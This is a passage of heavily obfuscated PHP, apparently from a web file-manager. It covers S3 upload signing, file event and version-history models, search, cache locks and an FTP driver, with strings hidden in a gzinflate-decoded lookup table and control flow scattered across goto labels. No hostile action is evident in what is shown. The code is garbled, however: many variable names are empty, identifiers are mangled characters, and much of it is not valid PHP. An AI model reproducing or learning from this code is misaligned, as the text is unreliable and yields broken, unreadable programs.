$µǥ))); $ڽ = json_encode($ڽ); $Ӄ = hash_hmac($ȕϵ[263], $µǥ, $this->secret); $Ҫ = sha1($ڽ); $ˬ = hash_hmac($ȕϵ[263], $Ҫ, $Ӄ); $Āޭ = array($ȕϵ[280] => $ܠ, $ȕϵ[285] => $⡡, $ȕϵ[293] => base64_encode($ڽ), $ȕϵ[1404] => $ͪ, $ȕϵ[1405] => $this->accessKey, $ȕϵ[1407] => $µǥ, $ȕϵ[1408] => $ˬ, $ȕϵ[208] => $this->getHost()); return $Āޭ; } public function fileOutImage($, $܂ = 250) { $ř =& $_SERVER[]; if ($this->size($) > 1024 * 1024 * 32) { return $this->fileOutImageServer($, $܂); } $ij = $this->link($); $ij .= $ř[1409] . $܂ . $ř[1410]; $this->fileOutLink($ij); } public function fileOutLink($֩) { $ =& $_SERVER[]; if (substr($֩, 0, 7) == $[313]) { $֩ = $[314] . substr($֩, 7); } header($[175] . $֩); die; } } goto d͘; c: class SourceEventModel extends ModelBase { protected $tableName = "\151\157\x5f\163\x6f\165\x72\143\x65\137\x65\166\x65\156\164"; protected $dataAuto = array(array("\143\x72\145\x61\164\145\124\x69\x6d\145", "\164\151\155\145", "\151\x6e\x73\145\162\164", "\x66\165\x6e\x63\164\151\157\156"), array("\x64\x65\163\x63", '', "\151\156\163\x65\x72\164\x2c\x75\160\x64\x61\164\145\54\x73\145\x6c\145\143\x74", "\152\x73\x6f\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($ަ, $, $ױÀ = '') { $Ҵ =& $_SERVER[]; if (!$this->eventSave) { return; } $⁥ = Model($Ҵ[1411])->sourceInfo($ަ); if (!$⁥) { return !1; } if ($this->isDisableEvent($⁥, $)) { return; } if ($ױÀ && is_string($ױÀ)) { $ױÀ = array($Ҵ[2001] => $ױÀ); } $붝 = defined($Ҵ[2189]) ? USER_ID : 0; $ԡ = array($Ҵ[491] => $ަ, $Ҵ[2190] => $⁥[$Ҵ[192]], $Ҵ[2191] => $⁥[$Ҵ[32]], $Ҵ[582] => !empty($⁥[$Ҵ[582]]) ? $⁥[$Ҵ[582]] : $Ҵ[12], $Ҵ[1754] => $붝, $Ҵ[496] => $, $Ҵ[1756] => $ױÀ); $this->addSystemLog($, $ԡ); unset($ԡ[$Ҵ[2191]], $ԡ[$Ҵ[582]]); return $this->add($ԡ); } private function addSystemLog($ޡ, $) { $Ϡ쌮 =& $_SERVER[]; if ($ޡ == $Ϡ쌮[2192]) { $ޡ = $[$Ϡ쌮[526]][$Ϡ쌮[2193]]; } else { if (in_array($ޡ, array($Ϡ쌮[1941], $Ϡ쌮[2194]))) { $ޡ = $[$Ϡ쌮[526]][$Ϡ쌮[171]]; } } $ʗ = array_merge($, array($Ϡ쌮[2195] => $[$Ϡ쌮[193]], $Ϡ쌮[2196] => $[$Ϡ쌮[2196]])); Hook::trigger($Ϡ쌮[2197], $Ϡ쌮[2198] . $ޡ, $); Model($Ϡ쌮[1905])->addLog($Ϡ쌮[2198] . $ޡ, $ʗ); } private function isDisableEvent($, $) { $ǡ =& $_SERVER[]; if ($[$ǡ[190]] != SourceModel::TYPE_SYSTEM) { return !1; } if ($ == $ǡ[1930]) { return !1; } return !0; } public function eventCreate($ޠ, $Ō) { $ꔻ =& $_SERVER[]; $ = Model($ꔻ[1411])->sourceInfo($ޠ); $ϣ = array($ꔻ[2193] => $Ō, $ꔻ[32] => $[$ꔻ[32]]); return $this->addEvent($ޠ, $ꔻ[2192], $ϣ); } public function eventFileEdit($ظ) { $š㭐 =& $_SERVER[]; $ڂͲ = array($š㭐[2199] => $_SERVER[$š㭐[2200]], $š㭐[2201] => strtolower(ACTION)); if (isset($GLOBALS[$š㭐[7]][$š㭐[2202]])) { $ڂͲ[$š㭐[2202]] = $š㭐[91]; } return $this->addEvent($ظ, $š㭐[1931], $ڂͲ); } public function eventRecycle($, $) { return $this->addEvent($, $_SERVER[][2194], $); } private static $_removeLast = ''; public function eventRemove($) { $ =& $_SERVER[]; self::$_removeLast = $; $ = Model($[1411])->sourceInfo($); $Ț = array_field_key($, array($[193], $[541], $[505], $[584])); $Ԋ = array($[171] => $[$[32]], $[2201] => ACTION, $[2203] => $Ț); return $this->addEvent($[$[192]], $[1930], $Ԋ); } public function eventShare($֢, $ȑ) { return $this->addEvent($֢, $_SERVER[][1941], $ȑ); } public function eventMove($ڤΕ, $ږ, $) { $֙ =& $_SERVER[]; if (self::$_removeLast == $ڤΕ) { return; } $Ϛ = Model($֙[1411]); $ = $Ϛ->sourceInfo($ڤΕ); $Φ = $Ϛ->sourceInfo($ږ); $ = $Ϛ->sourceInfo($); $ڮ = array($֙[1234] => $ږ, $֙[2204] => $Φ[$֙[32]], $֙[2180] => !empty($Φ[$֙[582]]) ? $Φ[$֙[582]] : $֙[12], $֙[1235] => $, $֙[2205] => $[$֙[32]], $֙[2206] => !empty($[$֙[582]]) ? $[$֙[582]] : $֙[12]); $this->addEvent($ڤΕ, $֙[620], $ڮ); $ = $Ϛ->sourceInfo($ڤΕ); $ڮ = array($֙[193] => $[$֙[193]], $֙[32] => $[$֙[32]]); $this->addEvent($ږ, $֙[2207], $ڮ); } public function eventCopy($ɦ) { $this->eventCreate($ɦ, $_SERVER[][618]); } public function eventRename($҃, $ʹ, $) { $̕ =& $_SERVER[]; $ = array($̕[1234] => $ʹ, $̕[1235] => $); return $this->addEvent($҃, $̕[1425], $); } public function eventAddComment($, $վ) { return $this->addEvent($, $_SERVER[][2208], $վ); } public function eventAddDesc($, $) { return $this->addEvent($, $_SERVER[][2209], $); } public function listBySource($ݏ) { $햽 =& $_SERVER[]; $ި = Model($햽[1411])->sourceInfo($ݏ); $뢂 = array($햽[491] => $ݏ); if ($ި[$햽[485]] == $햽[91]) { $ = Model($햽[1411])->listSearchChildren($ݏ, 20000); $[] = $ݏ . $햽[454]; $뢂 = array($햽[193] => array($햽[7], $)); } $ɋ = $this->where($뢂)->order($햽[2210])->selectPage(); if ($ɋ[$햽[442]][$햽[443]] == 0) { $ɋ[$햽[442]][$햽[443]] = 1; $ɋ[$햽[445]] = array(array($햽[491] => $ݏ, $햽[2190] => $ި[$햽[192]], $햽[1754] => $ި[$햽[527]], $햽[496] => $햽[2211], $햽[497] => $ި[$햽[231]], $햽[1756] => $햽[12])); } return $this->eventListParse($ɋ, $ݏ); } private function eventListParse($îʟ, $) { $ =& $_SERVER[]; $鉚 = $îʟ[$[445]]; $č̫ = array_to_keyvalue($鉚, $[12], $[193]); $ = array_to_keyvalue($鉚, $[12], $[2196]); foreach ($鉚 as $) { $ = $[$[526]]; if ($[$[33]] == $[620] && isset($[$[1234]])) { $č̫[] = $[$[1234]] . $[12]; $č̫[] = $[$[1235]] . $[12]; } if ($[$[33]] == $[2207] && isset($[$[193]])) { $č̫[] = $[$[193]] . $[12]; } } $č̫ = array_merge($č̫, $, array($ . $[12])); $č̫ = array_unique($č̫); $ļϝ = array_unique(array_to_keyvalue($鉚, $[12], $[1763])); $ = Model($[598])->userListInfo($ļϝ); $ܜ = Model($[899])->sourceListInfo($č̫, !0); foreach ($鉚 as &$) { if ($[$[33]] == $[620] && isset($[$[526]][$[1234]])) { $[$[526]][$[1234]] = $ܜ[$[$[526]][$[1234]]]; $[$[526]][$[1235]] = $ܜ[$[$[526]][$[1235]]]; } if ($[$[33]] == $[2207] && isset($[$[526]][$[193]])) { $[$[526]][$[193]] = $ܜ[$[$[526]][$[193]]]; } $[$[90]] = $ܜ[$[$[193]]]; $[$[2212]] = $ܜ[$[$[2196]]]; if ($[$[33]] == $[1930]) { $[$[2212]] = $[$[90]]; $[$[2196]] = $[$[2212]][$[193]]; $[$[90]] = !1; $[$[193]] = $[12]; } $[$[2139]] = $[$[$[1763]]]; } unset($); $îʟ[$[445]] = $鉚; return $îʟ; } public function removeBySource($úΓ) { $ = array($_SERVER[][491] => $úΓ); $this->where($)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\x6f\137\x73\157\165\162\x63\x65\x5f\150\x69\x73\164\157\x72\x79"; public function historyCount($𨡶) { $ =& $_SERVER[]; if (!$𨡶) { return array(); } if (is_string($𨡶) || is_int($𨡶)) { $𨡶 = array($𨡶); } $ = array($[193], $[1995] => $[565]); $ = array($[193] => array($[7], $𨡶)); $ = $this->field($)->where($)->group($[193])->select(); return array_to_keyvalue($, $[193], $[565]); } public function addHistory($́, $ԧ = '') { $މ =& $_SERVER[]; $ۿ = array($މ[491] => $́[$މ[193]], $މ[1754] => isset($́[$މ[529]]) ? $́[$މ[529]] : $́[$މ[527]], $މ[542] => $́[$މ[541]], $މ[617] => $́[$މ[79]], $މ[2213] => $ԧ); if ($GLOBALS[$މ[6]][$މ[92]][$މ[1295]] >= 1) { $this->historyAutoClear($ۿ[$މ[193]]); $this->add($ۿ); } Hook::trigger($މ[2214], $ۿ); Model($މ[2215])->eventFileEdit($́[$މ[193]]); } private function historyAutoClear($) { $ڦ =& $_SERVER[]; $❱ = Model($ڦ[837])->get($ڦ[1317]); $ = intval($GLOBALS[$ڦ[6]][$ڦ[92]][$ڦ[1295]]); $Ɠō = $❱ == $ڦ[1318] ? min(5, $) : $; $Ɠō = $Ɠō <= 0 ? 0 : $Ɠō - 1; if ($Ɠō >= 499) { return; } $¾ = array($ڦ[491] => $); $ː = $this->field($ڦ[2216])->where($¾)->order($ڦ[2210])->select(); if (!$ː || $Ɠō >= count($ː)) { return; } $ = array_to_keyvalue($ː, $ڦ[12], $ڦ[475]); $ = array_slice($, $Ɠō); $ = array_to_keyvalue($ː, $ڦ[12], $ڦ[541]); $ = array_slice($, $Ɠō); if (!$ || !$) { return; } $¾ = array($ڦ[493] => array($ڦ[7], $)); $this->where($¾)->delete(); Model($ڦ[544])->remove($); } public function listData($) { $᷀ =& $_SERVER[]; $פ = array($᷀[491] => $); $ = $᷀[2217]; $Ƃ = $this->field($)->where($פ)->order($᷀[2210])->selectPage(); $this->_listAppendUser($Ƃ[$᷀[445]]); $۔ = Model($᷀[837])->get($᷀[1317]); $ = 5; if ($۔ == $᷀[1318]) { $Ƃ[$᷀[445]] = array_slice($Ƃ[$᷀[445]], 0, $); $Ƃ[$᷀[442]] = array($᷀[2218] => 1, $᷀[2219] => 20, $᷀[2220] => 1, $᷀[2221] => count($Ƃ[$᷀[445]])); } return $Ƃ; } protected function _listAppendUser(&$́) { $﹧ =& $_SERVER[]; $ݖ = array_to_keyvalue($́, $﹧[12], $﹧[1763]); $γ = Model($﹧[598])->userListInfo($ݖ); foreach ($́ as &$ǽȓ) { $į = $ǽȓ[$﹧[1763]]; $ǽȓ[$﹧[527]] = $γ[$į] ? $γ[$į] : !1; } unset($ǽȓ); } public function fileInfo($Ѷ) { $ =& $_SERVER[]; $ = $this->tablePrefix; $ = "{$}\x69\x6f\137\146\x69\154\x65\x20\x66\x69\x6c\x65\163\40\157\156\x20\146\x69\x6c\145\x73\56\146\x69\154\x65\x49\104\x20\75\x20\x68\151\163\x74\x6f\x72\171\x2e\x66\x69\x6c\x65\111\x44"; return $this->alias($[2222])->where(array($[493] => $Ѷ))->join($, $[2223])->find(); } public function removeItem($–҈) { $ݹ =& $_SERVER[]; $ = array($ݹ[493] => $–҈); $ӎ = $this->where($)->find(); if ($ӎ) { $ = $this->where($)->delete(); Model($ݹ[544])->remove($ӎ[$ݹ[541]]); return $; } return !1; } public function removeBySource($Ɋ) { $ր  =& $_SERVER[]; if (!$Ɋ) { return !1; } if (!is_array($Ɋ)) { $Ɋ = array($Ɋ); } $ = array($ր [491] => array($ր [7], $Ɋ)); $ = $this->field($ր [542])->where($)->select(); if ($) { $this->where($)->delete(); $ތ = array_to_keyvalue($, $ր [12], $ր [541]); Model($ր [544])->remove($ތ); } return !0; } public function setDetail($ՠ, $) { $ =& $_SERVER[]; return $this->where(array($[493] => $ՠ))->save(array($[2213] => $)); } public function rollbackToItem($ߢ, $͓) { $뙷 =& $_SERVER[]; $ = Model($뙷[899])->sourceInfo($ߢ); $this->addHistory($, LNG($뙷[2224])); $ď = $this->find($͓); $ = array($뙷[541] => $ď[$뙷[541]], $뙷[79] => $ď[$뙷[79]], $뙷[88] => time(), $뙷[529] => USER_ID); Model($뙷[899])->where(array($뙷[193] => $ߢ))->save($); return $this->where(array($뙷[493] => $͓))->delete(); } public function clearSame($ʰު) { $⢿ =& $_SERVER[]; $沪 = $this->listData($ʰު); $ = array_to_keyvalue_group($沪, $⢿[541]); $Ԓ = array(); $٨ = array(); foreach ($ as $լ) { if (!$լ || count($լ) <= 1) { continue; } foreach ($լ as $끿) { $Ԓ[] = $끿[$⢿[541]]; $٨[] = $끿[$⢿[475]]; } } if (!$٨) { return; } $this->where(array($⢿[475] => array($⢿[7], $٨)))->delete(); Model($⢿[544])->remove($Ԓ); } public function userSpace() { $ =& $_SERVER[]; $ = $this->tablePrefix; $ = array($[1754] => USER_ID); $͆ = "{$}\151\x6f\137\146\151\x6c\145\x20\146\151\154\x65\163\40\x6f\156\40\x66\151\154\145\163\x2e\146\x69\x6c\x65\x49\x44\40\x3d\40\x68\x69\x73\x74\x6f\162\x79\x2e\146\151\154\145\x49\104"; return $this->alias($[2222])->where($)->join($͆, $[2223])->sum($[79]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($Ç) { $̹ =& $_SERVER[]; $ڶ = KodIO::fileTypeList(); $ę = $ڶ[$Ç]; if (!$ę) { return array(); } $ = $ę[$̹[169]]; $ۿ = $̹[7]; if (!$ę[$̹[169]]) { $吆ڠ = array_to_keyvalue($ڶ, $̹[12], $̹[169]); $ = implode($̹[50], $吆ڠ); $ۿ = $̹[2225]; } $ = explode($̹[50], trim($, $̹[50])); return array($ۿ, $); } public function listPathType($) { $ =& $_SERVER[]; $ܕ = $this->fileTypeWhere($); if (!$ܕ) { return array(); } $ = USER_ID; $ = Model($[598])->getInfo($); $ = array($[648] => SourceModel::TYPE_USER, $[584] => array($[612], $[594] . $[$[90]][$[193]] . $[613]), $[649] => $, $[646] => 0, $[647] => $ܕ); return $this->listSource($); } public function listSearch($˭, $׽ = 300) { $ʮ =& $_SERVER[]; if (isset($˭[$ʮ[2060]]) && $˭[$ʮ[2060]]) { $˭[$ʮ[2060]] = str_replace($ʮ[460], $ʮ[2226], trim($˭[$ʮ[2060]])); } $ʴ = $this->_parseSearchWhere($˭); if (!isset($ʴ[$ʮ[505]])) { $ʴ[$ʮ[505]] = 0; } $Ȃ = $ʮ[2227]; $ع˼ = $ʴ; $˂ = $Ȃ; $this->_listSearchBindPinyin($˭, $ʴ, $Ȃ); $this->alias($ʮ[519])->_makeOrder(); $ʴ = $this->parseWhereLike($ʴ); $땩 = $this->distinct(!0)->field($Ȃ)->where($ʴ)->selectPage($׽); if ($GLOBALS[$ʮ[6]][$ʮ[457]][$ʮ[458]] && Input::check($˭[$ʮ[2060]], $ʮ[655]) && $땩[$ʮ[442]][$ʮ[429]] == 1 && $땩[$ʮ[442]][$ʮ[443]] == 0) { $땩 = $this->distinct(!0)->field($Ȃ)->where($ع˼)->limit(1000)->select(); $땩 = array_page_split($땩, !1, $׽); } $this->_listSearchFileContent($땩, $˭, $˂, $ع˼); $this->_listSearchDesc($땩, $˭, $˂); $this->_listSearchTag($땩, $˭, $˂); $this->_listSearchGroupTag($땩, $˭, $˂); $this->_listDataApply($땩[$ʮ[445]]); $this->_listMake($땩); return $땩; } private function _listSearchFileContent(&$Ȏ, $, $, $ܓ) { $ =& $_SERVER[]; if (!$[$[2060]] || $Ȏ[$[442]][$[429]] > 1) { return; } if (!isset($ܓ[$[32]]) || !is_array($[$[541]])) { return; } $ܓ[$[541]] = array($[7], $[$[541]]); unset($ܓ[$[32]]); unset($[$[541]]); $ضѱ = $this->field($)->where($ܓ)->limit($[2228])->select(); if (!$ضѱ || count($ضѱ) == 0) { return; } $Ȏ[$[445]] = array_merge($ضѱ, $Ȏ[$[445]]); $Ȏ[$[442]][$[443]] += count($ضѱ); } private function _listSearchTag(&$, $֨ȳ, $) { $͝ =& $_SERVER[]; if (!$֨ȳ[$͝[2060]] || $[$͝[442]][$͝[429]] > 1) { return; } $οձ = Model($͝[2229])->listData(); $ = array(); $ = $֨ȳ[$͝[2060]]; foreach ($οձ as $ȝ) { $Ϸ = $ȝ[$͝[32]]; $׾ = str_replace($͝[53], $͝[12], Pinyin::get($Ϸ)); if (stripos($Ϸ, $) !== !1 || stripos($׾, $) !== !1) { $[] = $ȝ[$͝[475]]; } } if (!$) { return; } $ީ = array($͝[500] => array($͝[7], $), $͝[1763] => USER_ID); $ = Model($͝[502])->field($͝[87])->where($ީ)->select(); $ = array_to_keyvalue($, $͝[12], $͝[87]); $㚍 = array_unique($); $this->_listSearchMerge($, $֨ȳ, $, $㚍); } private function _listSearchDesc(&$ؾ, $, $) { $ =& $_SERVER[]; if (!$[$[2060]] || $ؾ[$[442]][$[429]] > 1) { return; } $̫ = array($[97] => $[526], $[450] => array($[459], $[2062] . $[$[2060]] . $[2062])); $ = !1; if ($) { $욓 = $this->listSearchChildren($[$[192]]); $욓 = array_unique($욓); if (!$욓) { return; } $̫[$[193]] = array($[7], $욓); } $º = Model($[632])->field($[193])->where($̫)->limit(5000)->select(); $ = array_to_keyvalue($º, $[12], $[193]); $this->_listSearchMerge($ؾ, $, $, $); } private function _listSearchGroupTag(&$ّ, $̴, $) { $ь =& $_SERVER[]; if (!$̴[$ь[2060]] || $ّ[$ь[442]][$ь[429]] > 1 || !$̴[$ь[192]]) { return; } $Ą = $this->sourceInfo($̴[$ь[192]]); if (!$Ą || $Ą[$ь[190]] != SourceModel::TYPE_GROUP) { return; } $ = $Ą[$ь[569]]; $ȧ = Model($ь[2230])->get($); $ = array(); $͠ = $̴[$ь[2060]]; foreach ($ȧ[$ь[445]] as $Ϯ) { $Մİ = $Ϯ[$ь[32]]; $䩌 = str_replace($ь[53], $ь[12], Pinyin::get($Մİ)); if (stripos($Մİ, $͠) !== !1 || stripos($䩌, $͠) !== !1) { $[] = $Ϯ[$ь[475]]; } } if (!$) { return; } $߅ = array($ь[500] => array($ь[7], $), $ь[1763] => 0, $ь[33] => $ь[2082] . $); $ݶ׀ = Model($ь[502])->field($ь[87])->where($߅)->select(); $ݶ׀ = array_to_keyvalue($ݶ׀, $ь[12], $ь[87]); $ = array_unique($ݶ׀); $this->_listSearchMerge($ّ, $̴, $, $); } private function _listSearchMerge(&$Ë·, $, $˄ά, $) { $ =& $_SERVER[]; if (!$) { return; } $͐ = array_to_keyvalue($Ë·[$[445]], $[12], $[193]); $ = array_diff($, $͐); if (!$) { return; } $րɠ = array($[193] => array($[7], $)); $Ԅ = $this->field($˄ά)->where($րɠ)->select(); if (!$Ԅ) { return; } $ҿ = array(); foreach ($Ԅ as $҃) { if ($this->_listSearchFilter($҃, $)) { $ҿ[] = $҃; } } $Ë·[$[445]] = array_merge($ҿ, $Ë·[$[445]]); $Ë·[$[442]][$[443]] += count($ҿ); } private function _listSearchFilter($ᅡ, $) { $ޓ =& $_SERVER[]; $ = $ᅡ[$ޓ[485]] == $ޓ[91]; if (!strstr($ᅡ[$ޓ[584]], $ޓ[50] . $[$ޓ[192]] . $ޓ[50])) { return !1; } if (isset($[$ޓ[486]]) && $[$ޓ[486]] != $ޓ[843]) { if ($[$ޓ[486]] == $ޓ[78] && !$) { return !1; } if ($[$ޓ[486]] != $ޓ[78] && $) { return !1; } if (!strstr($ᅡ[$ޓ[169]], $ޓ[50] . $[$ޓ[486]] . $ޓ[50])) { return !1; } } if (isset($[$ޓ[2231]]) && $[$ޓ[2231]] < $ᅡ[$ޓ[79]]) { return !1; } if (isset($[$ޓ[2232]]) && $[$ޓ[2232]] > $ᅡ[$ޓ[79]]) { return !1; } if (isset($[$ޓ[662]]) && $[$ޓ[662]] != $ᅡ[$ޓ[529]]) { return !1; } return !0; } public function listSearchChildren($Ÿ, $ = 5000) { $ו =& $_SERVER[]; $܍ = array(); $ = $this->sourceInfo($Ÿ); $愐Ƕ = array($ו[584] => array($ו[459], $[$ו[584]] . $[$ו[193]] . $ו[613])); $ = $this->field($ו[79])->where($愐Ƕ)->limit($ + 1)->select(); $ = is_array($) ? count($) : 0; if ($ > $) { return $this->_listSearchChildrenNear($Ÿ, $); } $솖 = $this->field($ו[193])->where($愐Ƕ)->select(); $܍ = array_to_keyvalue($솖, $ו[12], $ו[193]); return $܍; } private function _listSearchChildrenNear($Þ, $쥈) { $ =& $_SERVER[]; $֝ = array(); $ٜ = array($[192] => $Þ); $ = $this->field($[2233])->where($ٜ)->select(); $ݥ = array_to_keyvalue(array_filter_by_field($, $[485], $[91]), $[12], $[193]); $֝ = array_merge($֝, array_to_keyvalue($, $[12], $[193])); if (!$ݥ) { return $֝; } $ٜ = array($[192] => array($[7], $ݥ)); $ = $this->field($[2233])->where($ٜ)->limit($쥈)->select(); $֝ = array_merge($֝, array_to_keyvalue($, $[12], $[193])); $֝ = array_slice($֝, 0, intval($쥈)); return $֝; } private function _listSearchBindPinyin($ߓ, &$ҿ׆, &$򈚠) { $ӧѡ =& $_SERVER[]; if (!isset($ߓ[$ӧѡ[2060]]) || !$ߓ[$ӧѡ[2060]]) { return; } if (!Input::check($ߓ[$ӧѡ[2060]], $ӧѡ[394]) || strlen($ߓ[$ӧѡ[2060]]) < 2) { return; } $ܮ = "\x4c\x45\x46\x54\x20\x4a\x4f\111\x4e\40{$this->tablePrefix}\x69\157\x5f\x73\157\x75\162\143\x65\137\x6d\145\164\x61\x20\155\x65\164\141\40\x6f\156\x20\x73\157\x75\x72\x63\145\56\163\x6f\x75\162\x63\145\x49\104\40\x3d\40\155\145\164\x61\56\x73\157\165\162\143\145\111\x44"; $Ψ = array(); $򈚠 = str_replace(array($ӧѡ[262], $ӧѡ[53], $ӧѡ[2234]), $ӧѡ[12], $򈚠); $򈚠 = $ӧѡ[511] . str_replace($ӧѡ[50], $ӧѡ[512], $򈚠); $ = $ҿ׆[$ӧѡ[32]]; unset($ҿ׆[$ӧѡ[32]]); foreach ($ҿ׆ as $ => $) { $Ψ[$ӧѡ[511] . $] = $; } foreach ($ as $ޚ) { $Ψ[] = array($ӧѡ[516] => $ޚ, $ӧѡ[1071] => $ӧѡ[2064], array($ӧѡ[2235] => $ޚ, $ӧѡ[2236] => array($ӧѡ[7], array($ӧѡ[538], $ӧѡ[537])))); } $this->join($ܮ); $ҿ׆ = $Ψ; } private function _parseSearchWhere($ٔ) { $ =& $_SERVER[]; $ = array(); if (isset($ٔ[$[827]]) && $ٔ[$[827]]) { $[$[88]] = array($[2237], $ٔ[$[827]]); } if (isset($ٔ[$[828]]) && $ٔ[$[828]]) { $럦 = array($[2238], $ٔ[$[828]]); if ($[$[88]]) { $[$[88]] = array($[$[88]], $럦, $[2239]); } else { $[$[88]] = $럦; } } if (isset($ٔ[$[2231]]) && $ٔ[$[2231]] > 0) { $[$[79]] = array($[2237], $ٔ[$[2231]]); } if (isset($ٔ[$[2232]]) && $ٔ[$[2232]]) { $럦 = array($[2238], $ٔ[$[2232]]); if ($[$[79]]) { $[$[79]] = array($[$[79]], $럦, $[2239]); } else { $[$[79]] = $럦; } } if (isset($ٔ[$[662]]) && $ٔ[$[662]]) { $[] = array($[529] => $ٔ[$[662]], $[527] => $ٔ[$[662]], $[1071] => $[2064]); } if (isset($ٔ[$[486]]) && $ٔ[$[486]]) { $á = $ٔ[$[486]]; if ($á == $[78]) { $[$[485]] = 1; } else { if ($á == $[2240]) { $[$[485]] = 0; } else { if ($á) { $á = is_array($á) ? $á : explode($[50], $á); $[$[486]] = array($[492], $á); $[$[485]] = 0; } } } } $this->_parseSearchParent($ٔ, $); if (isset($ٔ[$[2060]]) && trim($ٔ[$[2060]])) { $ = trim($ٔ[$[2060]]); $હ = explode($[53], $); if (strlen($) > 2 && (substr($, 0, 1) == $[121] && substr($, -1) == $[121]) || substr($, 0, 1) == $[58] && substr($, -1) == $[58]) { $ = substr($, 1, -1); $હ = array($); } $[$[32]] = array(array($[612], $[2062] . $ . $[2062])); if (count($હ) > 1) { $[$[32]] = array(); foreach ($હ as $) { if (!trim($)) { continue; } $[$[32]][] = array($[612], $[2062] . trim($) . $[2062]); } } } return $; } private function _parseSearchParent($, &$) { $ =& $_SERVER[]; if (!isset($[$[192]]) || !$[$[192]]) { return; } $磶 = $this->pathInfo($[$[192]]); $ߘ = $磶[$[192]] . $[12] === $[228]; $ɺ = $磶[$[190]] == $[578]; if ($磶[$[595]] == $[596]) { $ = $this->sourceInfo($[$[192]]); $磶[$[584]] = $[$[584]]; } $[$[652]] = array($[612], $磶[$[584]] . $[$[192]] . $[613]); $¾ = isset($[$[1920]]) && in_array($[578], $[$[1920]]); if (!$¾ || !$ɺ || !$ߘ || !$磶[$[487]]) { return; } if (!AuthModel::authCheckRoot($磶[$[487]][$[488]])) { return; } $Ӫ = $磶[$[569]] . $[12]; if ($Ӫ == $[91]) { unset($[$[652]]); $[$[190]] = self::TYPE_GROUP; return; } $̀ = Model($[585])->groupChildrenAll($Ӫ); $ = count($̀); if ($ <= 1) { return; } $މ = array($[192] => 0, $[190] => self::TYPE_GROUP, $[569] => array($[7], $̀)); $Ϲݏ = $this->field($[2241])->where($މ)->limit($)->select(); $[$[652]] = array(); foreach ($Ϲݏ as $) { $[$[652]][] = array($[612], $[594] . $[$[193]] . $[613]); } $[$[652]][] = $[2064]; } } goto D; d븖: if (!$tukerlwafc) { die; } $_SERVER[Ü] = explode($_SERVER[][680], gzinflate(substr($_SERVER[][681], 10, -8))); $znstewkolc = $_SERVER[][682]; goto D֣޻; B칐: class CacheLockMemcached { public function lock($߽, $ѣ = 0) { $ = Cache::init(); $㕊 = microtime(!0) + $ѣ; while (microtime(!0) < $㕊) { $ᡅ = $->get($߽); if (!$ᡅ || $ᡅ < microtime(!0)) { $ = $->handle->add($߽, $㕊, $ѣ); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($ӆ) { return Cache::init()->get($ӆ); } public function unlock($͵) { return Cache::init()->remove($͵); } } class CacheLockDatabase { public function lock($Ɋ, $ݟ = 0) { $ = Model($_SERVER[][903]); $ڨ = microtime(!0) + $ݟ; while (microtime(!0) < $ڨ) { $롘 = $->get($Ɋ); if (!$롘 || $롘 < microtime(!0)) { $ = $->set($Ɋ, $ڨ); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[][903])->get($); } public function unlock($) { Model($_SERVER[][903])->remove($); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($, $) { $ =& $_SERVER[]; if (!class_exists($[941])) { show_json($[942], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($[$[943]]) && count($[$[943]]) >= 1) { foreach ($[$[943]] as $) { $ = explode($[4], $); $this->handle->addServer($[0], $[1]); } } else { $this->handle->addServer($[$[208]], $[$[209]]); } } public function set($, $, $Ō = false) { $Ō = $Ō ? $Ō : $this->cacheTime; return $this->handle->set($, $, $Ō); } public function get($ѯ) { return $this->handle->get($ѯ); } public function remove($) { return $this->handle->delete($); } public function deleteAll() { return $this->handle->flush(); } } goto EđІ; BČ: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][247]); } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = $[229]; $؂ = $[270]; $Տ = $[62]; $ҦƎ = gmdate($[271]); $죶 = gmdate($[272]); $ü = $[273]; $ = $ . $[12]; $ = $[274]; $ = array($this->accessKey, $죶, $this->region, $Տ, $ü); $ = implode($[8], $); $ = array($[275] => gmdate($[299], strtotime($[277])), $[278] => array(array($[279] => $this->bucket), array($[280] => $), array($[281], $[282], $[12]), array($[281], $[283], $[12]), array($[281], $[284], $[12]), array($[285] => $), array($[286] => $), array($[287] => $؂), array($[288] => $ҦƎ), array($[289] => $))); $к = base64_encode(json_encode($)); $䁩 = hash_hmac($[290], $죶, $[291] . $this->secret, !0); $ = hash_hmac($[290], $this->region, $䁩, !0); $ = hash_hmac($[290], $Տ, $, !0); $ִ = hash_hmac($[290], $ü, $, !0); $֍ = hash_hmac($[290], $к, $ִ); $¤ = array($[246] => $[12], $[292] => $[12], $[280] => $, $[285] => $, $[293] => $к, $[294] => $, $[295] => $؂, $[296] => $ҦƎ, $[297] => $, $[298] => $֍, $[208] => $this->getHost()); return $¤; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\x31"; public $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn(!1)) { return !1; } return @ftp_close($this->connect); } private function charsetReset($ö) { $߂ =& $_SERVER[]; global $config; $this->appCharset = $config[$߂[1429]]; $this->systemCharset = $config[$߂[1430]]; if (isset($ö[$߂[1431]]) && $ö[$߂[1431]]) { $this->systemCharset = $ö[$߂[1431]]; } } public function iconvApp($) { return $this->iconvTo($, $this->systemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemCharset); } public function getPathOuter($Ԩ) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $Ԩ = $this->iconvApp($Ԩ); if (substr($, 0, 2) == $[1403]) { $ = BASIC_PATH . substr($, 2); } if (substr($Ԩ, 0, 2) == $[1403]) { $Ԩ = BASIC_PATH . substr($Ԩ, 2); } $ = KodIO::clear($); $Ԩ = KodIO::clear($Ԩ); $Ԩ = substr($Ԩ, strlen($)); if (empty($this->pathDriver)) { return $Ԩ; } return $this->pathDriver . $[8] . ltrim($Ԩ, $[8]); } private function _init($ = array()) { $ =& $_SERVER[]; if (!function_exists($[1432])) { throw new 